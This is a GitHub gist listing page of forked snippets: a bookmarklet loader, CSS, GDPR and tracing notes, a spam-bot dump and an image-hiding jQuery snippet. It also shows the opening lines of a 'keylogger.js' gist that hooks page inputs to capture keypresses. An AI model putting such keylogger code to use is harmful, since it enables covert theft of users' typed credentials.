Skip to content

Instantly share code, notes, and snippets.

// modified from code of "JQuerify" bookmarklet
// http://www.learningjquery.com/2009/04/better-stronger-safer-jquerify-bookmarklet
(function() {
function z(a, b) {
var c = document.createElement("script");
c.src = a;
var d = document.getElementsByTagName("head")[0], e = !1;
c.onload = c.onreadystatechange = function() {
!e && (!this.readyState || this.readyState === "loaded" || this.readyState === "complete") && (e = !0, b(), c.onload = c.onreadystatechange = null, d.removeChild(c));
};
@06b
06b / MinimalAPIs.md
Created April 7, 2023 14:23 — forked from davidfowl/MinimalAPIs.md
Minimal APIs at a glance
@06b
06b / high-dpi-media.css
Created August 6, 2019 17:45 — forked from marcedwards/high-dpi-media.css
A CSS media query that captures almost all high DPI aware devices.
/* ---------------------------------------------------------- */
/* */
/* A media query that captures: */
/* */
/* - Retina iOS devices */
/* - Retina Macs running Safari */
/* - High DPI Windows PCs running IE 8 and above */
/* - Low DPI Windows PCs running IE, zoomed in */
/* - Low DPI Windows PCs and Macs running Firefox, zoomed in */
/* - Android hdpi devices and above */
@06b
06b / example.md
Created January 13, 2019 18:17 — forked from ericclemmons/example.md
HTML5 <details> in GitHub

Using <details> in GitHub

Suppose you're opening an issue and there's a lot noisey logs that may be useful.

Rather than wrecking readability, wrap it in a <details> tag!

<details>
 <summary>Summary Goes Here</summary>
@06b
06b / links.md
Created January 13, 2019 01:27 — forked from una/links.md
a-css-carol--links
@06b
06b / gdpr_template.md
Created November 29, 2018 05:26 — forked from vanjacosic/gdpr_template.md
GDPR email template

Email template for requesting data deletion

To:

Their Data Protection Officer, usually dpo@companyname.com

Subject:

Request for erasure (GDPR)

@06b
06b / how_to_take_an_etl_trace.md
Last active March 6, 2018 14:58 — forked from nolanlawson/how_to_take_an_etl_trace.md
Instructions for taking an ETL trace for Edge or IE

How to take a trace of a website issue in Edge/IE

Taking a trace

Method 1: Feedback Hub

  1. In Feedback Hub, click "Add new Feedback"
  2. Choose "Microsoft Edge" as the category
@06b
06b / gist:71a1c15ac8d6ccaea5f8adf5e18f24e9
Created May 10, 2017 21:14 — forked from chrisallenlane/gist:3709006
Dump from a malfunctioning Wordpress spam bot
Submitted on 2012/06/19 at 12:32 am
Hello, just wanted to mention, I enjoyed this blog post. It was practical. Keep on posting!
What’s up, I just wanted to mention, you’re wrong. Your point doesn’t make any sense.
Hello, how’s it going? Just shared this post with a colleague, we had a good laugh.
Incredible points. Great arguments. Keep up the amazing effort.
This text is worth everyone’s attention. Where can I find out more?
@06b
06b / keylogger.js
Last active November 15, 2015 14:05 — forked from scarvell/keylogger.js
// Copyright John Leitch 2010 john.leitch5@gmail.com
var destination = null;
var useClone = false;
var cloneSource = null;
var cloneDelay = 1000;
function hookInputs() {
var frame = document.getElementById('overlayFrame');
var keyPressScript =
@06b
06b / Image 404 hide
Created September 21, 2012 13:21 — forked from Mansyn/Image 404 hide
Hide images that don't load (404)
$(document).ready(function () {
// Hide any image that 404
$('img').bind('error', function () {
$(this).hide();
});
});